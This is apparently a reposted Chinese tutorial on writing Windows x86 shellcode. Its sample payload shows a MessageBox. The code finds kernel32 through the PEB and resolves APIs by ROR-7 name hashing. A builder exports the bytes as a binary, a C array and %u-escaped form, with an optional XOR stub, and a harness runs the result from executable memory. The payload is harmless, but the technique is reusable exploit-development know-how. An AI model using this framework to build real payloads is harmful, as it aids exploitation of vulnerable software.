当前位置:   article > 正文

shellcode样本—弹出MessageBox_shellcode messagebox

shellcode messagebox

shellcode是一段可独立运行的汇编代码,常出现在漏洞利用中。当我们利用漏洞控制了eip后,就需要shellcode来执行我们想要做的任何事。

shellcode用到的api都是通过动态加载而来的,可以通过fs:[30h]找到PEB中的Ldr结构。在Ldr中记录有dll加载链,从而找到Kernel32。然后通过LoadLibraryA加载任何你想要加载的dll模块。

所有API均通过dll中的EAT导出表查询获得。以下面就是一个用来生成弹出MessageBox的shellcode样本,可以用来测试漏洞利用。

//构建生成Shellcode代码之下载文件
void BuildShellcodeMessageBox()
{
	goto GetShellcode;
	__asm
	{
	sc_start:
		/*
		*	Shellcode基本模块
		*	查找Kernel32基址
		*/
			xor		ecx, ecx
			mov		ecx, dword ptr fs : [30h]
			mov		ecx, dword ptr[ecx + 0Ch]
			mov		esi, dword ptr[ecx + 1Ch]
		sc_goonKernel :
			mov		eax, dword ptr[esi + 8]
			mov		ebx, dword ptr[esi + 20h]
			mov		esi, dword ptr[esi]
			cmp		dword ptr[ebx + 0Ch], 0x00320033
			jnz		sc_goonKernel
			mov		ebx, eax

		/*
		*	Shellcode基本模块
		*	查找API地址
		*/
			jmp		DataArea
		backToMain :
			pop		ebp
			//获取Kernel32中的地址
			//为ebx赋值DLL基址,为edi赋值Hash值地址,为ecx赋值API数量
			mov		edi, ebp
			mov		ecx, 01h
		FindApi_loop :
			call	FindApi
			loop	FindApi_loop

			//调用LoadLibraryA加载user32
			push	0x00003233
			push	0x72657375
			mov		eax, esp
			push	eax
			call	dword ptr[ebp]
			mov		ebx, eax
			pop		eax
			pop		eax

			//获取user32中API的地址
			call	FindApi

		/*
		*	Shellcode功能模块
		*	弹出MessageBox
		*/
			push	0x00
			push	0x74736574
			mov		eax, esp
			push	0x00
			push	0x6c6f6f63
			mov		ebx, esp
			push	MB_OK
			push	eax
			push	ebx
			push	0x00
			call	[ebp+4h]
			pop		eax
			pop		eax
		/*
		*	Shellcode 基本模块
		*	查找API地址
		*/
		FindApi:
			push	ecx
			push	ebp
			mov		esi, dword ptr[ebx + 3Ch]
			mov		esi, dword ptr[esi + ebx + 78h]
			add		esi, ebx
			push	esi
			mov		esi, dword ptr[esi + 20h]
			add		esi, ebx
			xor		ecx, ecx
			dec		ecx

		Find_Loop :
			inc		ecx
			lods	dword ptr[esi]
			add		eax, ebx
			xor		ebp, ebp
			//计算Hash值
		Hash_Loop :
			movsx	edx, byte ptr[eax]
			cmp		dl, dh
			je		hash_OK
			ror		ebp, 7
			add		ebp, edx
			inc		eax
			jmp		Hash_Loop

		hash_OK :
			//判断Hash值是否相等
			cmp		ebp, dword ptr[edi]
			jnz		Find_Loop

			pop		esi
			mov		ebp, dword ptr[esi + 24h]
			add		ebp, ebx
			mov		cx, word ptr[ebp + ecx * 2]
			mov		ebp, dword ptr[esi + 1Ch]
			add		ebp, ebx
			mov		eax, dword ptr[ebp + ecx * 4]
			add		eax, ebx
			stos	dword ptr es : [edi]
			pop		ebp
			pop		ecx
			retn

		DataArea :
			call	backToMain
				//在此处填入Hash值及其他参数
	sc_end :
	}
GetShellcode:

	DWORD scStart = 0;
	DWORD scEnd = 0;

	__asm
	{
		mov		scStart, offset sc_start
		mov		scEnd, offset sc_end
	}

	DWORD scLen = scEnd - scStart;
	char Datas[] =
		"\x32\x74\x91\x0c"			//ebp,		Kernel32.LoadLibraryA
		"\x6A\x0A\x38\x1E"			//ebp+4h,	user32.MessageBoxA
		"\x00\x00";

	int newscBuff_length = scLen + sizeof(Datas);
	unsigned char *newscBuff = new unsigned char[newscBuff_length];

	memset(newscBuff, 0x00, newscBuff_length);
	memcpy(newscBuff, (unsigned char*)scStart, scLen);
	memcpy((unsigned char*)(newscBuff + scLen), Datas, sizeof(Datas));

	int i = 0;

	//对Shellcode进行加密,在需要时使用
	/*
	unsigned char xxx;
	for(i = 0; i<newscBuff_length; i++)
	{
	xxx = ((unsigned char*)newscBuff)[i];
	xxx = xxx ^ 0x00;
	newscBuff[i] = xxx;
	}
	*/

	FILE *fp = fopen("./Shellcode_bin.bin", "wb+");
	fwrite(newscBuff, newscBuff_length, 1, fp);
	fclose(fp);

	FILE *fp_cpp = fopen("./Shellcode_cpp.cpp", "wb+");
	fwrite("unsigned char sc[] = {", 22, 1, fp_cpp);
	for (i = 0; i < newscBuff_length; i++)
	{
		if (i % 16 == 0)
		{
			fwrite("\r\n", 2, 1, fp_cpp);
		}
		fprintf(fp_cpp, "0x%02x,", newscBuff[i]);
	}
	fwrite("};", 2, 1, fp_cpp);
	fclose(fp_cpp);

	FILE *fp_unicode = fopen("./Shellcode_unmescape.txt", "wb+");
	for (i = 0; i < newscBuff_length; i += 2)
	{
		fprintf(fp_unicode, "%%u%02x%02x", newscBuff[i + 1], newscBuff[i]);
	}
	fclose(fp_unicode);

	delete[] newscBuff;

	printf("Build complete!\n");

	return;
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
  • 50
  • 51
  • 52
  • 53
  • 54
  • 55
  • 56
  • 57
  • 58
  • 59
  • 60
  • 61
  • 62
  • 63
  • 64
  • 65
  • 66
  • 67
  • 68
  • 69
  • 70
  • 71
  • 72
  • 73
  • 74
  • 75
  • 76
  • 77
  • 78
  • 79
  • 80
  • 81
  • 82
  • 83
  • 84
  • 85
  • 86
  • 87
  • 88
  • 89
  • 90
  • 91
  • 92
  • 93
  • 94
  • 95
  • 96
  • 97
  • 98
  • 99
  • 100
  • 101
  • 102
  • 103
  • 104
  • 105
  • 106
  • 107
  • 108
  • 109
  • 110
  • 111
  • 112
  • 113
  • 114
  • 115
  • 116
  • 117
  • 118
  • 119
  • 120
  • 121
  • 122
  • 123
  • 124
  • 125
  • 126
  • 127
  • 128
  • 129
  • 130
  • 131
  • 132
  • 133
  • 134
  • 135
  • 136
  • 137
  • 138
  • 139
  • 140
  • 141
  • 142
  • 143
  • 144
  • 145
  • 146
  • 147
  • 148
  • 149
  • 150
  • 151
  • 152
  • 153
  • 154
  • 155
  • 156
  • 157
  • 158
  • 159
  • 160
  • 161
  • 162
  • 163
  • 164
  • 165
  • 166
  • 167
  • 168
  • 169
  • 170
  • 171
  • 172
  • 173
  • 174
  • 175
  • 176
  • 177
  • 178
  • 179
  • 180
  • 181
  • 182
  • 183
  • 184
  • 185
  • 186
  • 187
  • 188
  • 189

在上面的代码中,搜索API名称用的是一种简单的hash对比,而不是直接搜索字符串的。这是为了最大程度的减少去shellcode代码量。漏洞利用之中,空间是无比珍贵的,所以要尽可能的减少代码量。

下面的代码是用来生成函数名对应hash的算法:

//计算函数名的Hash值
DWORD caclFuncNameHash(char* strFunc)
{
	DWORD dwFuncHash = 0;

	__asm
	{
		xor		ecx, ecx
		mov		eax, strFunc

	Hash_Loop1 :
		movsx	edx, byte ptr[eax]
		cmp		dl, dh
		je		hash_OK1
		ror		ecx, 7
		add		ecx, edx
		inc		eax
		jmp		Hash_Loop1

	hash_OK1 :
		mov		dwFuncHash, ecx
	}

	return dwFuncHash;
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25

Shellcode_bin.bin文件就是二进制版的shellcode代码。

下面给出测试shellcode代码的方法:

//测试ShellCode
void TestShellcode()
{
	HANDLE fp;
	unsigned char* fBuffer;
	DWORD fSize, dwSize;
	fp = CreateFile("./Shellcode_bin.bin", 
					GENERIC_READ, 
					FILE_SHARE_READ, 
					NULL, 
					OPEN_ALWAYS, 
					FILE_ATTRIBUTE_NORMAL, 
					NULL);

	fSize = GetFileSize(fp, 0);
	fBuffer = (unsigned char*)VirtualAlloc(NULL, 
										   fSize, 
										   MEM_COMMIT,
										   PAGE_EXECUTE_READWRITE);

	ReadFile(fp, fBuffer, fSize, &dwSize, 0);
	CloseHandle(fp);

	__asm
	{
		pushad
		mov		eax, fBuffer
		call	eax
		popad
	}

	printf("测试ShellCode完成\n");
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
声明:本文内容由网友自发贡献,转载请注明出处:【wpsshop】
推荐阅读
  

闽ICP备14008679号